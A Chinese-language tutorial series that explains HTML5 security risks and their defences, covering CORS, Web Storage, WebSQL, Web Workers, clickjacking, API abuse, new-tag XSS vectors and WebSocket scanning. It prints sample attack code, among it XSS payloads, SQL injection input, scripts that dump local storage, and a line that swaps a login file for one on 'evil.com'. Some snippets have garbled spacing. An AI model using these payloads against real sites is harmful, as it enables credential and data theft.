一:CORS攻击
CORS-CrossOrigin Resources Sharing,也即跨源资源共享,它定义了一种浏览器和服务器交互的方式来确定是否允许跨域请求。它是一个妥协,有更大的灵活性,但比起简单地允许所有这些的要求来说更加安全。简言之,CORS就是为了让AJAX可以实现可控的跨域访问而生的。
一、从SOP到CORS
SOP就是Same Origin Policy同源策略,指一个域的文档或脚本,不能获取或修改另一个域的文档的属性。也就是Ajax不能跨域访问,我们之前的Web资源访问的根本策略都是建立在SOP上的。它导致很多web开发者很痛苦,后来搞出很多跨域方案,比如JSONP和flash
socket。如下图所示:
后来出现了CORS-CrossOrigin Resources Sharing,也即跨源资源共享,它定义了一种浏览器和服务器交互的方式来确定是否允许跨域请求。它是一个妥协,有更大的灵活性,但比起简单地允许所有这些的要求来说更加安全。简言之,CORS就是为了让AJAX可以实现可控的跨域访问而生的。具体可以参见我的这篇文章《HTML5安全:CORS(跨域资源共享)简介》。示意如下图所示:
现在W3C的官方文档目前还是工作草案,但是正在朝着W3C推荐的方向前进。不过目前许多现代浏览器都提供了对它的支持。
服务器端对于CORS的支持,主要就是通过设置Access-Control-Allow-Origin来进行的。如果浏览器检测到相应的设置,就可以允许Ajax进行跨域的访问。例如:
Access–Control-Allow-Origin: http://blog.csdn.net
应用CORS的系统目前包括Face.com、GoogleCloudStorage API等,主要是为开放平台向第三方提供访问的能力。
二、CORS带来的风险
CORS非常有用,可以共享许多内容,不过这里存在风险。因为它完全是一个盲目的协议,只是通过HTTP头来控制。
它的风险包括:
1、HTTP头只能说明请求来自一个特定的域,但是并不能保证这个事实。因为HTTP头可以被伪造。
所以未经身份验证的跨域请求应该永远不会被信任。如果一些重要的功能需要暴露或者返回敏感信息,应该需要验证Session
ID。
2、第三方有可能被入侵
举一个场景,FriendFeed通过跨域请求访问Twitter,FriendFeed请求tweets、提交tweets并且执行一些用户操作,Twitter提供响应。两者都互相相信对方,所以FriendFeed并不验证获取数据的有效性,Twitter也针对Twitter开放了大部分的功能。
但是当如果Twitter被入侵后:
FriendFeed总是从Twitter获取数据,没有经过编码或者验证就在页面上显示这些信息。但是Twitter被入侵后,这些数据就可能是有害的。
或者FriendFeed被入侵时:
Twitter响应FriendFeed的请求,例如发表Tweets、更换用户名甚至删除账户。当FriendFeed被入侵后,攻击者可以利用这些请求来篡改用户数据。
所以对于请求方来说验证接收的数据有效性和服务方仅暴露最少最必须的功能是非常重要的。
3、恶意跨域请求
即便页面只允许来自某个信任网站的请求,但是它也会收到大量来自其他域的跨域请求。.这些请求有时可能会被用于执行应用层面的DDOS攻击,并不应该被应用来处理。
例如,考虑一个搜索页面。当通过'%'参数请求时搜索服务器会返回所有的记录,这可能是一个计算繁重的要求。要击垮这个网站,攻击者可以利用XSS漏洞将Javascript脚本注入某个公共论坛中,当用户访问这个论坛时,使用它的浏览器重复执行这个到服务器的搜索请求。或者即使不采用跨域请求,使用一个目标地址包含请求参数的图像元素也可以达到同样的目的。如果可能的话,攻击者甚至可以创建一个WebWorker执行这种攻击。这会消耗服务器大量的资源。
有效的解决办法是通过多种条件屏蔽掉非法的请求,例如HTTP头、参数等。
4、内部信息泄漏
假定一个内部站点开启了CORS,如果内部网络的用户访问了恶意网站,恶意网站可以通过COR(跨域请求)来获取到内部站点的内容。
5、针对用户的攻击
上面都是针对服务器的攻击,风险5则针对用户。比方说,攻击者已经确定了你可以全域访问的productsearch.php页面上存在SQL注入漏洞。
攻击者并不是直接从它们的系统数据库中获取数据,他们可能会编写一个JavaScript数据采集脚本,并在自己的网站或者存在XSS问题的网站上插入这段脚本。当受害者访问含有这种恶意JavaScript脚本的网站时,它的浏览器将执行针对“productsearch.php”的SQL注入攻击,采集所有的数据并发送给攻击者。检查服务器日志显示是受害人执行了攻击,因为除了来自Referrer的HTTP头一般没有其他日志记录。受害者并不能说他的系统被攻破,因为没有任何任何恶意软件或系统泄漏的痕迹。
三、攻击工具
Shell of the Future是一个反向WebShell处理器,它利用HTML5的跨站请求来劫持会话。
四、防御之道
1、不信任未经身份验证的跨域请求,应该首先验证Session ID或者Cookie。
2、对于请求方来说验证接收的数据有效性,服务方仅暴露最少最必须的功能。
3、通过多种条件屏蔽掉非法的请求,例如HTTP头、参数等。
二:Web Storage攻击
HTML5支持WebStorage,开发者可以为应用创建本地存储,存储一些有用的信息。例如LocalStorage可以长期存储,而且存放空间很大,一般是5M,极大的解决了之前只能用Cookie来存储数据的容量小、存取不便、容易被清除的问题。这个功能为客户端提供了极大的灵活性。
一、WebStorage简介
HTML5支持WebStorage,开发者可以为应用创建本地存储,存储一些有用的信息。例如LocalStorage可以长期存储,而且存放空间很大,一般是5M,极大的解决了之前只能用Cookie来存储数据的容量小、存取不便、容易被清除的问题。这个功能为客户端提供了极大的灵活性。
二、攻击方式
LocalStorage的API都是通过Javascript提供的,这样攻击者可以通过XSS攻击窃取信息,例如用户token或者资料。攻击者可以用下面的脚本遍历本地存储。
01.if(localStorage.length){ 02. for(I in localStorage) { 03. console.log(i); 04. console.log(localStorage.getItem(i)); 05. } 06.} |
同时要提一句,LocalStorage并不是唯一暴露本地信息的方式。我们现在很多开发者有一个不好的习惯,为了方便,把很多关键信息放在全局变量里,例如用户名、密码、邮箱等等。数据不放在合适的作用域里会带来严重的安全问题,例如我们可以用下面的脚本遍历全局变量来获取信息。
01.for(iin window) { 02. obj=window[i]; 03. if(obj!=null||obj!=undefined) 04. var type =typeof(obj); 05. if(type=="object"||type=="string") { 06. console.log(“Name:”+i); 07. try { 08. my = JSON.stringify(obj); 09. console.log(my); 10. } catch(ex) {} 11. } 12.} |
三、攻击工具
HTML5dump的定义是“JavaScriptthat dump all
HTML5 local storage”,它也能输出HTML5 SessionStorage、全局变量、LocalStorage和本地数据库存储。
四、防御之道
对于WebStorage攻击的防御措施是:
1、数据放在合适的作用域里
例如用户sessionID就不要用LocalStorage存储,而需要放在sessionStorage里。而用户数据不要储存在全局变量里,而应该放在临时变量或者局部变量里。
2、不要存储敏感的信息
因为我们总也无法知道页面上是否会存在一些安全性的问题,一定不要将重要的数据存储在WebStorage里。
三:WebSQL攻击
数据库安全一直是后端人员广泛关注和需要预防的问题。但是自从HTML5引入本地数据库和WebSQL之后,前端开发对于数据库的安全也必须要有所了解和警惕。WebSQL的安全问题通常表现为两个部分。
一、WebSQL安全风险简介
数据库安全一直是后端人员广泛关注和需要预防的问题。但是自从HTML5引入本地数据库和WebSQL之后,前端开发对于数据库的安全也必须要有所了解和警惕。WebSQL的安全问题通常表现为两个部分:
第一种是SQL注入:和本地数据库一样,攻击者可以通过SQL注入点来进行数据库攻击。
另外一方面,如果Web App有XSS漏洞,那么本地数据很容易泄漏,可以想想本地数据库里存储了用户最近交易记录或者私信的情况。
二、WebSQL安全风险详析
1、SQL注入
例如我们有一个URL为http:/blog.csdn.net/hfahe?id=1,它接收了一个id参数来进行本地数据库查询并输出,对应的SQL语句为“select
name from user where id = 1”。
但是针对这个简单的SQL查询,攻击者可以构造一个虚假的输入数据“1 or
1 = 1”,那么我们的SQL语句将变为“select name from user where id
= 1 or 1 = 1”。这就相当糟糕了,因为1=1这个条件总是成立的,那么这条语句将遍历数据库user表里的所有记录并进行输出。
利用这种方式,攻击者可以构造多种攻击的SQL语句,来操纵用户的本地数据库记录。
2、XSS与数据库操纵
在有XSS漏洞的情况下,攻击者获取本地数据需要如下几个步骤:
1)获取JavaScript数据库对象
2)获取SQLite上的表结构
3)获取数据表名
4)操作数据
例如如下脚本完整的实现了上面的步骤,我在Chrome控制台里运行即可得到用户本地数据库的表名,利用这个表名攻击者可以用任何SQL语句来完成攻击。
01.var dbo; 02.var table; 03.var usertable; 04.for(i in window) { 05. obj = window[i]; 06. try { 07. if(obj.constructor.name=="Database"){ 08. dbo = obj; 09. obj.transaction(function(tx){ 10. tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'', [], function(tx,results) { 11. table = results; 12. },null); 13. }); 14. } 15. } catch(ex) {} 16.} 17.if(table.rows.length > 1) 18. usertable = table.rows.item(1).name; |
三、防御之道
针对WebSQL攻击,我们有如下方法预防:
1) 检查输入类型,过滤危险字符
我们需要保证输入类型符合预期,例如上面的id参数一定是数字类型;同时过滤掉危险的关键字和符号,像PHP里addslashes这个函数的作用一样。
2) 在SQL语句中使用参数形式
SQL语句是可以用参数形式的,例如
01.executeSql("SELECTname FROM stud WHERE id=" + input_id) |
这种字符串拼接的形式并不安全,可以换为
executeSql("SELECTname FROM stud WHERE id=?“, [input_id]);) |
这样能保证参数的输入符合设定的类型。
3)谨慎对待每一次SQL操作
无论是select、modify、update或者delete,你编写的任何一条SQL语句操作都有可能成为攻击者的攻击对象,造成重大损失,所以都必须要谨慎对待。
4)不要存储重要数据
本地数据库永远透明而不安全,重要的数据必须要存储在服务器上,本地数据库里没有重要数据就不会对用户造成重大损失。
5)杜绝XSS漏洞
XSS攻击的防御将会在专门章节阐述,本文不展开详析。
四:Web Worker攻击
由于Javascript是单线程执行的,在执行过程中浏览器不能执行其它Javascript脚本,UI渲染线程也会被挂起,从而导致浏览器进入僵死状态。使用WebWorker可以将计算过程放入一个新线程里去执行将避免这种情况的出现。
一、WebWorker介绍
由于Javascript是单线程执行的,在执行过程中浏览器不能执行其它Javascript脚本,UI渲染线程也会被挂起,从而导致浏览器进入僵死状态。使用WebWorker可以将计算过程放入一个新线程里去执行将避免这种情况的出现。这样我们可以同时执行多个JS任务而不会阻塞浏览器,非常适合异步交互和大规模计算,这在以前是很难做到的。
下面一张图形象的揭示了WebWorker的作用:没有WebWorker时,如果我们要煎一个鸡蛋饼,需要先和面粉,然后打鸡蛋,最后才能煎饼;使用WebWorker,可以在和面粉的同时打鸡蛋,这两者同时进行,都完成后就能开始煎饼,极大的缩短了等待的时间。
但是这样一个好的特性也会引入攻击的可能。
二、WebWorker攻击
1、Botnet
攻击的方式包括DDos攻击、发送垃圾邮件,用户一旦访问恶意页面或者网站时,页面的恶意代码就能把用户的浏览器当作肉鸡,利用WebWorker大规模执行多线程攻击,例如DDos攻击、发送垃圾邮件或者进行网络嗅探。
DDOS攻击(分布式拒绝服务攻击)
2、postMessage带来的问题
WebWorker无法访问DOM,只能通过postMessageAPI和主线程通信。postMessage在HTML5中被引入,用来解决跨域或者跨线程数据交互的问题。但是如果messaging可以接收任何来源的信息,此页面有可能会被攻击;另外postMessage不通过服务器,如果不经过验证和过滤,可能成为XSS注入点。例如如下代码没有对输入数据进行验证和清洗,攻击者完全可以构造恶意的data来注入页面DOM,构造XSS攻击,形如“><script></script>”等等。
01.worker.addEventListener(‘message’,function(e) { 02. document.getElementById(‘result’).innerHTML = e.data; 03.}, false); |
三、攻击工具
Ravan是一个JS的分布式计算系统,可以用HTML5Web Worker通过后台加密的JS多线程脚本来执行蛮力攻击。
四、预防之道
1、对于用户来说,不要访问不安全的站点。
2、使用postMessage时需要验证来源可信;另外不要使用innerHTML,现代浏览器提供了textContent属性,可以帮助对HTML标签进行过滤,或者你可以自行编写过滤的逻辑和函数。
五:劫持攻击
下面我们要讲到一类的HTML5安全问题,也就是劫持的问题。
一、ClickJacking-点击劫持
这种攻击方式正变得越来越普遍。被攻击的页面作为iframe,用Mask的方式设置为透明放在上层,恶意代码偷偷地放在后面的页面中,使得一个页面看起来似乎是安全的,然后诱骗用户点击网页上的内容,达到窃取用户信息或者劫持用户操作的目的。下图中,欺诈的页面放置在下层,被攻击的银行页面作为透明的层放置在上层,用户看到的是欺诈页面上显示的信息并进行输入和点击,但是真正的用户行为是发生在银行页面上的。
想象一下,点击劫持可以诱使你发布一条虚假微博、或者发送一封虚假邮件甚至盗取你的个人信息。例如下图可以诱使我们发布一条虚假的Twitter消息。
这里有一个测试工具clickjacktest可以检测你的页面是否有点击劫持的风险,你可以输入一个网址并点击Test,如果页面可以正常显示并加载,那么表示这个页面存在被点击劫持攻击的风险,如果页面显示为一片空白,那么表示页面比较安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及点击操作,但是HTML5的拖放API使得这种攻击扩大到拖放操作。因为现在Web应用里,有大量需要用户拖放完成的操作。在同源策略里,一个域的Cookie只能被本域所访问,但是拖放操作是不受同源策略限制的,这样利用拖放操作、XSS和其他技巧,可以构造跨域合法请求,劫持Cookie。
把Cookie从一个域拖拽到另外一个域里
实现原理其实和ClickJacking类似,只要欺骗用户进行拖放行为,就可以把用户某个域的信息发送到另外一个域里。这个其实很容易做到,之前有一个研究者就在Facebook上建立了一个应用,这个应用的功能是让用户把图片上美女的衣服拖拽下来。我想可能大多数人都会去尝试而且不会有警惕心理。
一个诱骗拖放的小游戏
我们应当如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options:所有的现代浏览器都支持X-Frame-Options
HTTP头,这个头允许页面被iframe使用时是否正常渲染。下图中的页面就是当X-Frame-Options生效时的效果。
2、Javascript方式
这种方式非常常见,具体代码就是:
01.if (top !==window) 02. top.location = window.location.href; |
Facebook和Twitter都使用了这种方式,但是这种方式并不是完全奏效的,例如攻击者可以使用204转向或者禁用Javascript的方式来绕过(例如iframe沙箱)。
不过现在至少80%以上的网站都没有注意到点击劫持和cookie劫持的问题并加以保护。我这篇文章的主要目的就是提醒大家注意到这种隐蔽的攻击方式并有针对性的进行防御。
三、CORJacking-跨域资源劫持
CORJacking是指跨源资源劫持。HTML5应用有各种不同的资源,例如Flash文件,Silverligh,视频,音频等,这些资源可以通过DOM访问和控制。如果页面存在XSS漏洞,那么攻击者可能通过跨域资源的劫持进行攻击。例如下面的代码载入了一个swf文件,作为用户登录框,这里面我们可以实现一些加密的逻辑。
01.<object classid=“clsid:xxxxxxx-xxxx-xxxx-xxxxxx” id=“Login”
width=“100%”height=“100%” codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab> 02. <param name=“movie”value=“Login.swf” /> 03. <param name=“quality”value=“high” /> 04. <embed src=“Login.swf”quality=“high” width=“50%” height=“50%”> 05.</object> |
当页面存在XSS漏洞时,攻击者可以利用如下脚本把swf文件替换为欺诈的虚假资源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’; |
那么当用户在这样的登录框里输入自己的用户名和密码并登录时,他的帐号就已经被盗取了。
这个问题在不同浏览器里面表现是不一致的,有兴趣的朋友可以下去自行测试。
六:API攻击
HTML5里有许多协议、模式和API,可能成为攻击者的攻击途径。
一、registerProtocolHandler:信息泄漏
HTML5允许某些协议和schema注册为新的特性。例如下面的语句可以注册一个email handler。
01.navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail"); |
它会将一个恶意网站处理器关联到mailto这个协议上,所以它在某些情况下的滥用会导致用户信息泄漏。
二、文件API:窃取文件
HTML5另外一些API从安全角度来看很有意思,它们还能混合起来使用。
例如文件API允许浏览器访问本地文件,攻击者可以将它与点击劫持和其他攻击混合起来获得用户本地的文件。比如骗取你从本地拖放文件到页面里,这种方法在劫持攻击一文中有较详细的阐述。
三、历史API:隐藏XSS URL
利用HTML5历史API的pushState,可以隐藏浏览器地址栏的攻击URL。例如我在浏览器地址栏输入
01.http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script> |
这个地址,用户将会仅仅只看到http://test.baidu.com/。
这个问题和现在流行的短网址技术结合起来,具有更大的隐蔽性。想象一下我们在微博上看到一个短网址,不会有任何怀疑就会点击这个地址查看内容,而最后看到的地址也是相当正常的,但是在这个过程中用户的信息和资料就不知不觉被盗取了。
短URL结合历史API的攻击
四、Web Notifications:盗取数据
Web Notifications让我们在浏览器中能够接收推送的消息通知,但是它有可能会被攻击者利用来构造虚假信息,骗取用户数据。
例如下图里右下角的弹窗通知看起来非常正常,需要我们输入Gmail密码来登录查看新邮件。但是一旦输入密码,Gmail邮箱就被盗取了。我们可以仔细看看,弹窗左上角显示的域名是gmai1.com!这正是一个钓鱼网站的欺诈手段。
桌面通知攻击
最后,随着HTML5的发展,未来还可能出现新的HTML5安全问题,还可能还会向着复杂化和智能化去发展。
七:新标签攻击
HTML5引入的新标签有一些有趣的属性,例如poster、autofocus、onerror、formaction、oninput,这些属性都可以用来执行javascript。这会导致XSS和CSRF跨域请求伪造。
HTML5去掉了很多过时的标签,例如<center>和<frameset>,同时又引入了许多有趣的新标签,例如<video>和<audio>标签可以允许动态的加载音频和视频。
HTML5引入的新标签包括<Audio>、<Video>、<Canvas>、<Article>、<Footer>等等,而这些标签又有一些有趣的属性,例如poster、autofocus、onerror、formaction、oninput,这些属性都可以用来执行javascript。这会导致XSS和CSRF跨域请求伪造。
下面我们要讲到就是这些关键载体。它允许创建XSS的变种并且可以绕过现有的XSS过滤器。
首先来看一个标签:
<video><sourceonerrorsourceonerrorsourceonerrorsourceonerror="javascript:alert(1)“> |
它使用了一个source标签,而没有指定具体的src,所以后面的onerror方法会立即得到执行。
下面是video的poster属性,它链接到一个图像,是指当视频未响应或缓冲不足时,显示的占位符。
<videopostervideopostervideopostervideoposter=”javascript:alert(1)”> |
另外还有HTML5新引入的autofocus和formaction属性,autofocus会让元素自动的获取焦点,而formaction属性能覆盖
form 元素的action 属性。
[html] view plaincopyprint? 01.<inputautofocus onfocus=“alert(1)”> 02.<form><buttonformactionbuttonformactionbuttonformactionbuttonformaction="javascript:alert(1)"> |
在这个项目里存在用户输入的地方,我们虽然已经针对旧有的标签以及属性进行了过滤和清洗,但是还会存在新标签攻击的漏洞,攻击者利用上面的示例方式就可以对系统进行XSS注入攻击。例如攻击者输入http://www.yujie.com/1.php?text=<videoposter=”javascript:alert(1)”>时就能立即运行攻击脚本。
我们对此攻击的防御方式是,对前端或者后端的过滤器进行优化,添加过滤规则或者黑名单。
八:Web Socket攻击
HTML5限制了Web Socket可以使用的端口,但是,它可能会成为攻击者的载体。想象你打开一个页面,这个页面打开Socket连接并且执行一个内部IP地址的端口扫描。如果端口扫描发现了内部网络上发现了一个开启的80端口,一个隧道就可能通过你的浏览器建立。这样做会实际上最终绕过防火墙,并且允许访问内部内容。
HTML5的最好的功能之一WebSocket允许浏览器打开到特定IP目标端口的Socket连接,它提供了基于TCP
Socket的全双工双向通信,可以实现消息推送机制,大大减少了服务器和浏览器之间的不必要的通信量。例如可以用它来实现QQ的消息弹窗或者微博的新消息通知,让我们可以更好的实现Web应用。
iPhone的消息推送
HTML5限制了Web Socket可以使用的端口,但是,它可能会成为攻击者的载体。想象你打开一个页面,这个页面打开Socket连接并且执行一个内部IP地址的端口扫描。如果端口扫描发现了内部网络上发现了一个开启的80端口,一个隧道就可能通过你的浏览器建立。这样做会实际上最终绕过防火墙,并且允许访问内部内容。
WebSocket通信原理
Web Socket会带来的威胁包括:
◆成为后门
◆端口扫描
◆僵尸网络(一到多的连接)
◆构造基于WebSocket的嗅探器
JS-Recon是一个基于HTML5的JavaScript网络探测工具,它可以使用WebSocket执行网络及端口扫描。
JS-Recon
完结篇:HTML5对安全的改进
HTML5对旧有的安全策略进行了非常多的补充。HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作,例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。
HTML5对旧有的安全策略进行了非常多的补充。
一、iframe沙箱
HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作,例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。但是这个安全策略又会带来另外的风险,这很有趣,例如ClickJacking攻击里阻止JavaScript脚本的运行来绕过JavaScript的防御方式。
二、CSP内容安全策略
XSS通过虚假内容和诱骗点击来绕过同源策略。 XSS攻击的核心是利用了浏览器无法区分脚本是被第三方注入的,还是真的是你应用程序的一部分。CSP定义了Content-Security-Policy
HTTP头来允许你创建一个可信来源的白名单,使得浏览器只执行和渲染来自这些来源的资源,而不是盲目信任服务器提供的所有内容。即使攻击者可以找到漏洞来注入脚本,但是因为来源不包含在白名单里,因此将不会被执行。
XSS攻击的原理
三、XSS过滤器
Chrome、Safari这样的现代浏览器也构建了安全防御措施,在前端提供了XSS过滤器。例如http://test.jiangyujie.com/?text=</div><script>alert(1)</script>在Chrome中将无法得到执行,如下图所示。
四、其他
另外HTML5的应用程序访问系统资源比Flash更受限制。
最后,关于HTML5专门的安全规范目前还在讨论中,有的人希望分散到HTML5规范的各个章节,有的人希望单独列出,目前没有单独的内容,因为不仅要考虑Web
App开发者的安全,还要考虑实现HTML5支持的厂商,对它们进行规范和指导。
我个人认为HTML5的安全规范将会有一个统一的章节来进行阐述,并在各个功能模块相应的提及。
|